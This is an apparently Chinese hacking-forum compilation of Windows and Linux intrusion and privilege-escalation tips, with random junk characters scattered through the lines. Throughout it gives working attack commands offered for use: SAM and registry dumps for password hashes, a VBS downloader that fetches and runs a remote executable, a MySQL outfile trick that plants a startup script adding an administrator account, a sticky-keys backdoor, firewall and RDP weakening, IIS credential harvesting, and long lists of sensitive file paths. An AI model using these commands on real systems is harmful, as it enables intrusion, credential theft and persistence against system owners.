# R3 I0 j. p/ a  V- q' G4 L
5 ]' k8 E0 s! V5 n$ L4 ?八.freebsd本地提权
, w2 ?8 s8 A* I[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
0 M0 k* q# q2 ^! h) d, V( v* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
# w2 x3 E* \+ Hcalling nmount()
9 p4 n/ e& @' k6 c( m
# k& k! l2 Z5 m1 y! q% }" E4 A% L（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
8 T1 U4 s- [8 o/ h. j7 h感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
7 D" g  k3 s) k$ O& J: Balzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
' l/ M+ g- l/ b, K' M/ m' f7 J) ~+ P注：
; X2 p" @( @" d/ t( Y关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ k6 D& }% B' b  b" R}  
* l2 y- K* F4 ~% Z# V% Q5 @: E! [( Q
提权先执行systeminfo
( o3 i3 M3 L8 ptoken 漏洞补丁号 KB956572
Churrasco          kb952004
6 A) a" a( Y* [. r% F+ }命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
  o# q5 N9 c- E* q7 H2、收集系统信息的脚本  
9 j, N7 |5 U; V$ G# Bfor window：

$ e4 q, @' B9 |: O4 \@echo off
5 ?* [; `2 O+ g0 P) X/ r) Hecho #########system info collection
0 r% F% F8 d" O6 @# csysteminfo
9 _% R' a% q) @* s: ~/ qver
hostname
: N. t3 Y. W4 k8 v, T+ X. fnet user
8 c6 Q" H7 f/ hnet localgroup
& D0 i' w8 t+ L: snet localgroup administrators
net user guest
net user administrator
4 O  d5 v! e9 L$ D
echo #######at- with   atq#####
echo schtask /query
% U' Y, e/ Y$ ]  }6 `0 t. Y; h3 X
0 W  f- ]' J7 f7 A8 i- W/ D) U2 fecho
2 k+ p# z! Q1 m% j1 vecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
/ e2 T% r3 a# [7 I# K& Troute print
) U- Y5 _) J5 l: G9 t4 Q. P9 oarp -a
netstat -anipconfig /displaydns
echo
echo #######service############
/ N( V$ ]  d9 F5 o, q* Osc query type= service state= all
& B$ A6 H, r8 Y6 @, |3 B. Secho #######file-##############
cd \
tree -F
$ R" x5 f" h# h3 [( Q8 |  ]for linux：

#!/bin/bash

echo #######geting sysinfo####
2 X" v- G: I. i. H( I+ V: U: Kecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

2 Y9 l( i2 {8 _
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
! q. `) f/ P( W$ qcrontab -l
, k/ y( K$ x# l9 w  L' Q6 q2 zecho #####about var#####
' P: T. W" d9 ~, T) k* Y8 zset
: B) c5 Q1 g, J' l1 J" T3 E4 i6 X
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
# F. X2 K8 _+ z2 ]- Zarp -v
7 |8 }# a  }* ]+ V' Uecho ########user####
1 Y# B% @- @% [9 w: V) \! i" Acat /etc/passwd|grep -i sh
3 O. J" V8 g9 `
  @& W4 S2 N7 Uecho ######service####
5 M% I+ K3 G3 p2 o* l+ Rchkconfig --list
" c  b+ }5 ~8 c* y4 q
9 F' Y; l* L: x# p$ G8 S) E# U0 _* Afor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
! b$ Z4 H' u( Q, `6 R/ y
) J. R* ?0 e/ ^, ]! H9 @locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
- f& m: A$ ~4 S& Vlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
0 T4 x3 y' M$ n8 O/ t* P9 Ksleep 5
) w  `0 [0 o5 ~7 L- J
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
; e1 ]; k- A" x( q8 ?+ W6 Z0 t* krm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
$ e3 Z+ ~; Z& U' ^6 o( Z3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
/ h# w8 s3 q) A$ n* O               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
$ _/ H) K+ M/ o注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
' z- |4 Z  R  U% s7 K) k8 a" q——————————————
0 m4 v7 r. L$ F! S! i$ t4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
7 N- F# ^1 [- z- }' kecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
, p# R! t/ N% E/ ?8 P$ ~echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) y0 H' [) b" e2 Iecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
7 ]% w- P% X. h; @5 fecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
7 F9 i# O. J) o% V) X) I/ q; u- S3 Zcftmon.vbs
: @1 r2 W, p: \+ i7 I
2
! C1 _3 g2 K6 H, Y3 P7 yOn Error Resume Nextim iRemote,iLocal,s1,s2
4 E" \- u* w* t# J3 o7 JiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

' I( k: I6 j* v7 ?. I" c$ D1 @当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
& H* r! [; i' i& b8 u7 `0 zREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
7 T, x) P3 b# w( f+ a0 G& Z0 z2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
; J! B2 [  ?3 r; _' _7 W3.更改终端端口为2008(0x7d8)
: b' R5 M8 {" ^* s0 _REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
3 i2 E5 s; U3 L- x: p" U6 C* tREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
& u9 M% u6 Q1 ~- n4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
( A( ^4 ~5 t# ?0 l$ g8 x% ?) k$ ]REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 b9 M+ ^8 n& [6 T1 W  ]————————————————
6、create table a (cmd text);
+ {2 ~* k0 v2 W: n6 z! {& rinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
; I5 g; h- y8 X# a, E3 ?) H! Eselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
0 Y& i) W6 G3 _9 _% h. p% R————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
" _$ g. q% m4 o, K0 c5 H; B8、for /d %i in (d:\freehost\*) do @echo %i
$ f8 a3 L, i' Z6 W3 u6 K# {
列出d的所有目录
  
  for /d %i in (???) do @echo %i
3 Y6 L* F6 b8 B/ P2 U
把当前路径下文件夹的名字只有1-3个字母的打出来
/ R, {+ ?  [  p
, _/ n+ K2 P( ]2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
. \9 z: p  Q% N
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
" w% D  a9 d$ i; u  
  A" ^' M+ h/ r  ]+ X& W  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
% d0 N% A- s1 S/ c+ s3 S1 q8 r
- r! k% ?  Q0 z  J" V% [) a, q4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
8 N/ _# l' W) a( U, a* v1 ]; c
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
3 R5 [6 |" V1 r
3 U8 L& }8 R' A' }5 X) t2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

7 B: s$ _9 c$ B4 R' Q3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
6 E9 S8 U9 M" x+ r! p% i
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
5 ?8 k( ^9 }! F' `1 C
5.禁用TCP/IP端口筛选(需重启):
" _5 y1 Q4 V7 U; `/ Q% X/ @REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
( g5 K5 `. M5 o6 ~! n
3 P- \3 E" L* ^/ e+ a' G6.IPSec默认免除项88端口(需重启):
  L, v7 ^: s8 m# j3 X& g/ kreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

$ a6 {1 f: a& x0 M) R8 O# D2 U8 _7.停止指派策略"myipsec":
7 z: }) ^7 z% |3 R. j$ Xnetsh ipsec static set policy name="myipsec" assign=n
+ T' i3 Y) _  C4 M% a% n4 i1 y
8.系统口令恢复LM加密:
* R$ a1 G% ^& `* creg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
8 c( l$ V! p1 s* e7 t
  E0 i( ~1 A& o8 `1 j6 e! j* F9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
) r4 c* [/ n) }3 Hreg save hklm\system c:\system.hive
. `& a5 O% C# C  d+ S+ m' o3 I: Ireg save hklm\security c:\security.hive
& [# A# w' A4 s. |
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

9 f+ Q! i* Z: x5 @% H: r7 x: r+ Nreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
/ g+ a- G5 d3 b+ C! z-----------------------------------
星外vbs(注：测试通过，好东西）
2 w  L9 S' g9 `1 }; v2 eSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
9 T7 u3 \  d6 U% f% ?, |, Z  uchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
$ Q3 ?  f7 N' r+ m) z4 \! W2 D0 }if err.number<>0 then
2 ]+ @7 I. p6 u1 K9 W& B4 q1 Vexit for
. z7 Z, L+ j3 V" a( _4 \6 D; w2 }msgbox("error!")
wscript.quit
/ f& U. y& r* }end if
" W* {9 @! B4 N5 v# ], Eserverbindings=IIS.serverBindings
1 q: I. ~  h# ^( ]ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
3 l$ O0 L) n8 {- O7 mpass=iisweb.AnonymousUserPass
: G' Y2 M2 ?( c1 {path=IIsWeb.path
7 ~. B, d7 M0 y; I9 o% v" u5 P* glist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
9 g( p( r* C% O6 E- cWScript.Quit
9 b4 j& {. d5 a" l复制代码
' _! t& N: b8 [, G6 c7 @8 K----------------------2011新气象，欢迎各位补充、指正、优化。----------------
9 a6 Z4 B0 ~% v7 R3 u& h( B* W! F1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
3 v# j9 y. }. m( B<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
/ n! Q+ o- A# @/ H4 F</OBJECT>
复制代码
' q* ?2 M; E7 @! O然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
; ?- T+ j1 g! L- D! O0 wPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
7 z/ Q& L4 F5 N7 S/ N( f' P8 yasp代码，利用的时候会出现登录问题
7 F- L/ U  R  {, J3 C0 ]' k 原因是ASP大马里有这样的代码：（没有就没事儿了）
4 w  x% [! S7 L- y5 d1 v url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
3 M1 ]6 k( A3 K4 S4 n* G) s 解决方法
. h+ h& E2 d) R1 F% _ url=request.severvariables("path_info")
. C- c; m3 D! z. j* k4 s% M path_info可以直接呈现虚拟路径 顺利解析gif大马
3 g2 }( G. ]0 [% d0 k
==============================================================
, ^0 B. Y, m+ x9 @! x# d4 i7 j/ RLINUX常见路径：

/etc/passwd
/etc/shadow
0 d9 v  t' e) B5 t, w2 p4 c/etc/fstab
/etc/host.conf
/etc/motd
, f, a# W) k# z/etc/ld.so.conf
/var/www/htdocs/index.php
; O0 w( F2 U. C6 J; I; v9 K% k# U- [/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
4 ^6 P7 q- O" `1 ?! ]$ R9 j/var/httpd/htdocs/index.php
7 {  @4 o1 w+ O8 Y/ k/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
& K( G! ~4 E0 U2 S, T1 ?# J/usr/local/apache/htdocs/index.html
! J" T3 |, T/ U: k1 r/usr/local/apache/htdocs/index.php
' J& q+ q% ?+ Z, G1 c. N- }/usr/local/apache2/htdocs/index.html
& x- R8 k. ^0 \" p/usr/local/apache2/htdocs/index.php
" u& d5 i- \& C# s8 E  k/usr/local/httpd2.2/htdocs/index.php
% @% q' _; ?" s6 W$ p/ _2 j/usr/local/httpd2.2/htdocs/index.html
. u& w1 K* c1 `( }% @& d$ V. ~; T/tmp/apache/htdocs/index.html
7 X% T1 u  K* q/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
& R+ ?8 c* |, e/etc/httpd/conf/httpd.conf
1 D/ `3 }8 B7 z* w9 Z0 q/etc/httpd/htdocs/index.html
" [* F$ `$ N* q5 U/www/php/php.ini
( j: }& O5 g; k/www/php4/php.ini
4 s# D+ s, c# c. h/www/php5/php.ini
/www/conf/httpd.conf
5 _5 |9 q9 T5 F& ^/www/htdocs/index.php
6 }5 ^7 G  N/ \; Q. R- e6 \/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
, r& C' N/ C) V+ J! v/ s/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
9 U  |# S6 c5 \2 l" X/ V" C1 A/etc/apache/apache.conf
' x$ d2 U/ N9 L# C1 E! {3 \' Y/etc/apache2/apache.conf
5 W% `( b0 A' L/ O' m! z5 o/etc/apache/httpd.conf
/ u; v$ f; n4 L  s7 ~4 h/etc/apache2/httpd.conf
3 s" g8 o* ~6 O# V) D/etc/apache2/vhosts.d/00_default_vhost.conf
' W; h! H6 x# d: V: @/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
1 J, f) S' s9 H8 ?) @. T# c/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
" H& }: y: X# V  d. y/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
& q  w# \4 B/ E2 G$ f4 b  s+ N/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
$ ^% C2 m7 u* \( B, t2 @6 s* A- T/home/apache/conf/httpd.conf
( S2 J3 X+ h0 H- p+ k( L/home/apache2/conf/httpd.conf
' v, P" V5 u2 V! @# i! S" X7 X/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
3 H0 h! O" I2 }1 i; d/var/log/apache2/error_log
) b! q. D! {; B5 t* Z/var/log/apache2/error.log
; P& A- y, v6 A! X% z) g4 r/ M/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
1 b( z- V0 a) p$ R( {/var/www/logs/error.log
& q0 J0 P# n3 S# T/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
1 L+ v' w, V8 p/usr/local/apache/logs/access.log
. h  w2 f6 I! V1 w) U' [6 J/var/log/error_log
/var/log/error.log
/var/log/access_log
) J4 u2 D3 F4 ?) V2 p. D8 L, \/var/log/access.log
5 [3 S+ k; u! }1 q4 |6 r/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
* h7 n: D+ |, \9 R. w6 n/etc/init.d/httpd
4 i) M2 S+ X" \! D# e/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
! d8 E/ [5 D8 f' y9 ]+ K2 n- M/usr/local/etc/php.ini
/usr/local/lib/php.ini
' L  i# _  k+ T, a  `- z/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
9 P. ?+ g) R. F( W% B4 ]0 F7 s/usr/local/php4/php.ini
4 E& S  w# E) g1 x1 {/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
6 Z6 a  S9 B# X/usr/local/php5/etc/php.ini
3 k4 S1 i# _7 Z# G' @. `  r1 u/usr/local/php5/php5.ini
; M+ L5 T0 R: {1 r* s6 {$ k/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
% {8 ]8 m" T8 k3 j: \6 _- z/usr/local/apache2/conf/php.ini
4 R1 c& g2 J6 n/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
8 i6 w6 {7 ^% K4 [1 W; K/etc/php5/apache/php.ini
( m* z. E$ j* o; Q7 U8 `# f/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
8 k* _3 P9 P' S) u3 l8 C/etc/php/apache/php.ini
/etc/php/apache2/php.ini
; |1 |/ ~- e6 ^& A+ a' l8 {0 h) G/web/conf/php.ini
$ C. w  {5 I6 H1 A* \/usr/local/Zend/etc/php.ini
" {6 {% p$ k& P! i/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
# ^" h' r9 w# O* g/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
( K* @- N, q0 V7 U/ \, @5 R/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
" `# D$ U: w8 e  t6 W/php4/php.ini
/php/php.ini
' ^0 m; g' L' Z& T/PHP/php.ini
/apache/php/php.ini
5 t% Z) B) Z6 v* _/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
* R& u0 n2 [1 V; W. N/ Z0 H3 _1 P/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
$ v% i. G+ D! Y1 s) j" _/var/log/mysql.log
( g5 X; G' _5 I# E0 q8 ]2 @/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
" R4 [) T9 B* u: H' m- F/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
1 P! q3 S8 U- d7 M" {/etc/mysql/my.cnf
% o# ]# O7 y3 |1 ^/ t/etc/my.cnf
/usr/local/cpanel/logs
) d/ Z6 v4 X0 H! s- A8 F' F3 [! n/usr/local/cpanel/logs/stats_log
- z4 X9 f' Y& p% W; U; c! ^' ~/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
1 R" |% A  G! k# H' f/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
" |  t1 O2 w0 ~9 }) Q% g& I# ]# e: u/usr/local/cpanel/logs/stats_log
0 @+ S; r' I; }, s' t' q1 Y; Y/usr/local/share/examples/php4/php.ini
4 t# X3 L7 z, _- V1 H/ i/usr/local/share/examples/php/php.ini

5 K) ^5 o2 G& H6 g$ W2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

8 Y4 {% W7 H4 M/ H, k1 o5 Sc:\windows\php.ini
; d6 X7 {  m* pc:\boot.ini
c:\1.txt
- X1 X& j5 Z1 D: t+ S% d1 G* c) Ic:\a.txt
/ }) @& `6 z$ h# f9 }  E
! O- ^" G- ~, s6 l& I2 q. \) Bc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
% l# T" g  D; o* P; d6 X, ]; i0 ]c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
. G' ~% d& p3 W/ _9 Pc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
$ |4 B  f. r* D9 V' d5 O" x! K
2 Y5 n( V) I/ {# bc:\hzhost\databases\url.asp
9 d- A! w* ~6 Q
$ g5 W$ S5 k  W  C4 i. `c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
( i% Q  {& }) g, L: O1 {% p
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
4 J, Y$ f7 y! j9 gc:\www\index.html
$ `) G6 N( d# N* G8 q; i) X1 _c:\WWWROOT\index.html
7 o/ u  a" z' {+ r6 rc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
* X, }. @! T5 l! K6 ic:\web\index.php
) t- N" Q: y) U& w7 Xc:\www\index.php
2 R1 v" D6 m+ @' H6 A: N% Uc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
$ S) h. X/ }1 V# J( d3 Y) `c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
2 ]) m; e$ Y$ A6 S- c- S: d( \c:\www\default.asp
: s" A+ {: X3 {$ M% ~c:\wwwsite\default.asp
$ |: v- S. f# ~& Qc:\WWWROOT\default.asp
- O" R0 @! \! hc:\web\default.php
/ M9 C- f! U% }" C/ Wc:\www\default.php
" ~* i( q  _- Gc:\WWWROOT\default.php
c:\WWWsite\default.php
9 f4 ^6 h9 O0 f  G( X2 C2 zC:\Inetpub\wwwroot\pagerror.gif
7 z" r/ O* a1 o6 N. @: w! Cc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
- I8 ]! Y1 r# U+ }* IC:\Program Files\winrar\rar.exe
! @0 d9 V# z7 w# A7 G) nC:\Program Files\360\360Safe\360safe.exe
/ X7 @) X' P9 R3 U, OC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
+ b) I5 |8 v2 M, k* Bc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
6 n% \/ g8 w2 ~: [C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 k/ B7 ~: `- D7 |4 q! mC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
1 H+ V% O6 t6 G! c& xC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
/ @/ E5 g  c5 CC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
0 C9 l( L! T3 F: `( A( GC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
+ j9 a" O6 Z7 ~C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
5 q1 ^  u: ^( u7 w' cC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
5 p! _9 e. j' jC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
. G1 b" c+ _" i: e. v3 QC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
1 x, C: p. k6 u3 o4 L! fC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
! B! ], Q% k6 d/ oc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
. A1 @# q2 e9 w  S, M1 p" r0 W% AC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
; K4 M% V4 X4 PC:\WINDOWS\system32\inetsrv\inetinfo.exe
' G4 |/ G5 F7 w2 \  N5 Y: IC:\WINDOWS\system32\inetsrv\MetaBase.xml
% x* V9 Z* b; p( |& C) H$ tC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
5 I& U3 ]- m7 a* }* }! |+ ]& S$ u3 oC:\WINDOWS\system32\config\sam
; W: T  P+ E- D# a* K) B! o( kC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
, L9 p; t' z4 t5 u# z3 O4 dc:\tomcat6\tomcat6\bin\version.sh
